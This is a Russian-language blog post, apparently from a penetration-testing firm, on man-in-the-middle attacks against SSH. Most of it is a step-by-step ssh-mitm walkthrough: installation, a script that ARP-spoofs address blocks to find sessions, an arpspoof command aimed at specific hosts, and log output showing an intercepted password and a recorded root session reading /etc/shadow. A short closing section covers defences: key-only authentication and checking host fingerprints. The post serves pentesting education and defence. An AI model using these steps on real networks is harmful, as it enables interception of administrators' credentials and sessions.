Pull to refresh
0
Pentestit
Информационная безопасность

Насколько хорошо защищены ваши SSH-сессии?

Reading time 5 min
Views 25K


Выполнение повседневных задач системного администратора считается безопасным при работе через SSH сессию. В данной статье речь пойдет про современные инструменты для проведения MITM-атак на протокол SSH и как защититься от них.

Арсенал


sshmitm

Существует инструмент, который появился достаточно давно и так и называется — sshmitm. Он входит в дистрибутив для проведения пентеста Kali Linux, но поддерживает только первую версию протокола SSH, что в современной инфраструктуре накладывает серьезные ограничения.


mitmproxy

Есть другой инструмент, который, в частности, позволяет провести MitM-атаку на протокол SSH — mitmproxy (не путать с другим mitmproxy). Его можно скачать с github. Этот инструмент позволяет работать и с аутентификацией по ключу, но у меня это так и не заработало. Инструмент не поддерживается уже 4 года и не работает «из коробки». Сперва нужно исправить несколько ошибок в исходном коде.

После исправления ошибок инструмент позволяет провести MitM атаку, используя аутентификацию по паролю.



intercepter-ng

Было бы странно не упомянуть инструмент Intercepter-ng, позволяющий помимо прочего проводить классическую MitM-атаку на протокол SSH.



ssh-mitm

И совсем недавно появился еще один инструмент — ssh-mitm

GitHub

Он представляет из себя OpenSSH v7.5p1 с патчем, позволяющим работать как прокси между SSH-клиентом и оригинальным SSH-сервером. Его мы и рассмотрим подробнее.

Установка


Скачиваем дистрибутив в github и запускаем установочный скрипт

git clone https://github.com/jtesta/ssh-mitm.git
cd ssh-mitm
./install.sh

Скрипт установит все зависимости, скачает исходники openssh-7.5p1, пропатчит их, сконфигурирует и скомпилирует. В результате вы увидите сообщение

Done!  The next step is to use JoesAwesomeSSHMITMVictimFinder.py to find target IPs, then execute run.sh and ARP spoof.

Так же будет создана директория /home/ssh-mitm.

Проведение атаки


Для того чтобы провести MitM-атаку на протокол SSH нам для начала нужно перенаправить трафик жертвы на нашу машину, вместо оригинального SSH сервера. После установки ssh-mitm мы можем воспользоваться скриптом, входящим в комплект, для поиска ssh-сессий в сети.

Скрипт JoesAwesomeSSHMITMVictimFinder.py находится в каталоге, куда вы склонировали git-репозиторий и делает следующее:

  1. Проводит arp-spoofing блока IP-адресов (размер блока задается параметром, по умолчанию равен 5)
  2. Ждет несколько секунд (время ожидания задается параметром, по умолчанию равно 20 секундам)
  3. Отображает в консоли найденные SSH сессии
  4. Переходит к следующему блоку

Для arp-spoofing-а используется ettercap, а для сниффинга сетевых пакетов tshark.
Оба инструмента по умолчанию входят в дистрибутив Kali Linux.

При запуске скрипта вы можете получить сообщение «The Python3 netaddr and/or netifaces module is not installed». Исправляется выполнением команды:

apt install python3-netaddr python3-netifaces

Пример запуска скрипта:

./JoesAwesomeSSHMITMVictimFinder.py --interface eth0 --listen-time 5

Пример вывода:

Local servers:
  * 192.168.1.5 -> 192.168.1.4:22

После того как цели определены, требуется выполнить другой скрипт — run.sh, который так же находится в каталоге git.

Он, собственно, запускает сервис sshd_mitm, выставляет системный параметр ip_forward равным 1, тем самым разрешая транзитные пакеты и создает правило iptables, перенаправляющее все пакеты на поддельный SSH-сервер.

root@kalix64:~/mitm_and_spoof/ssh-mitm# iptables -t nat -L
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination         
REDIRECT   tcp  --  anywhere             anywhere             tcp dpt:ssh redir ports 2222

root@kalix64:~/mitm_and_spoof/ssh-mitm# netstat -tlpan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN      13241/sshd_mitm     

Скрипт run.sh не запускает атаку arp-spoofing. Это нужно сделать самостоятельно, например, при помощи arpspoof или ettercap.

arpspoof -i eth0 -t 192.168.1.4 -r 192.168.1.5

Для получения учетных данных жертвы удобно просматривать файл auth.log при помощи tail.

tail -f /var/log/auth.log

Когда жертва (192.168.1.5) попытается подключиться к оригинальном SSH-серверу (192.168.1.4), она непременно увидит сообщение о смене публичного ключа сервера

ubuntu@gns3_1:~$ ssh ubuntu@192.168.1.4
The authenticity of host '192.168.1.4 (192.168.1.4)' can't be established.
ED25519 key fingerprint is SHA256:kn+iT7WwgO6Wlh0xN4KQXB8P/JaHLcRx04gYTvNdjCM.
Are you sure you want to continue connecting (yes/no)?

UPD: В 99% случаев многие администраторы отвечают на подобный вопрос «yes».

Далее жертва вводит логин и пароль, а в журнале auth.log на машине атакующего появляется запись

Aug 29 16:55:08 kalix64 sshd_mitm[13426]: INTERCEPTED PASSWORD: hostname: [192.168.1.4]; username: [ubuntu]; password: [qwerty123] [preauth]
Aug 29 16:55:08 kalix64 sshd_mitm[13426]: Accepted password for ssh-mitm from 192.168.1.5 port 37838 ssh2

И видим в /home/ssh-mitm файл session_0.txt с записанной сессией:

Last login: Tue Aug 29 16:46:03 2017 from ns.secret.lab
ESC]0;ubuntu@ubuntu: ~^Gubuntu@ubuntu:~$ ccdd  //eettcc
ESC]0;ubuntu@ubuntu: /etc^Gubuntu@ubuntu:/etc$ ccaatt  //eettcc//sshhaadd       ^Gow^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?
^H^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^Gssuuddoo  ssuu  --
[sudo] password for ubuntu: qwerty123
ESC]0;root@ubuntu: ~^Groot@ubuntu:~# ccdd  //eettcc//^?^HESC[K
ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# ccaatt  sshhaadd     ^Gow    ^G      
shadow   shadow-  
ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# cat shadow
root:!:17040:0:99999:7:::
daemon:*:17001:0:99999:7:::
bin:*:17001:0:99999:7:::
sys:*:17001:0:99999:7:::
sync:*:17001:0:99999:7:::
games:*:17001:0:99999:7::

Как видите, некоторые данные задваиваются. Это связано с тем, что записывается как ввод пользователя, так и вывод на экран. Программа sudo, например, временно отключает «echo» и пароль qwerty123 отображается «нормально»

ssh-mitm, на мой взгляд, представляет записанную сессию в более удобном виде, чем mitmproxy



На скриншоте выше я пытался ввести в консоль

cat /etc

Если целевой сервер не разрешает аутентификацию по паролю, а только по ключу, ssh-mitm все равно предложит аутентификацию по паролю и просто разорвет соединение после ввода учетных данных, так как оригинальный сервер учетные данные не примет. Но злоумышленник получит какой-то пароль и сможет использовать его в дальнейшем, так как администратор вряд ли будет вводить что-то несуществующее.

Защита


Как ни странно, но для защиты от подобных атак ничего дополнительно устанавливать в систему не требуется. Все, что нужно — это запретить аутентификацию по паролю директивой

PasswordAuthentication no

И использовать аутентификацию по ключу.

Это защитит сервис так же и от атак на перебор учетных данных, т.е. брутфорса.

Также, не стоит принимать без разбора измененный отпечаток сервера. Сам по себе он обычно не меняется, и если вы сами отвечаете за сервер, к которому подключаетесь и знаете, что ничего там не переустанавливали, стоит лишний раз проверить, не проводится ли в данный момент MitM-атака.
Tags:
Hubs:
+43
Comments 34
Comments Comments 34

Articles

Information

Website
www.pentestit.ru
Registered
Founded
Employees
11–30 employees
Location
Россия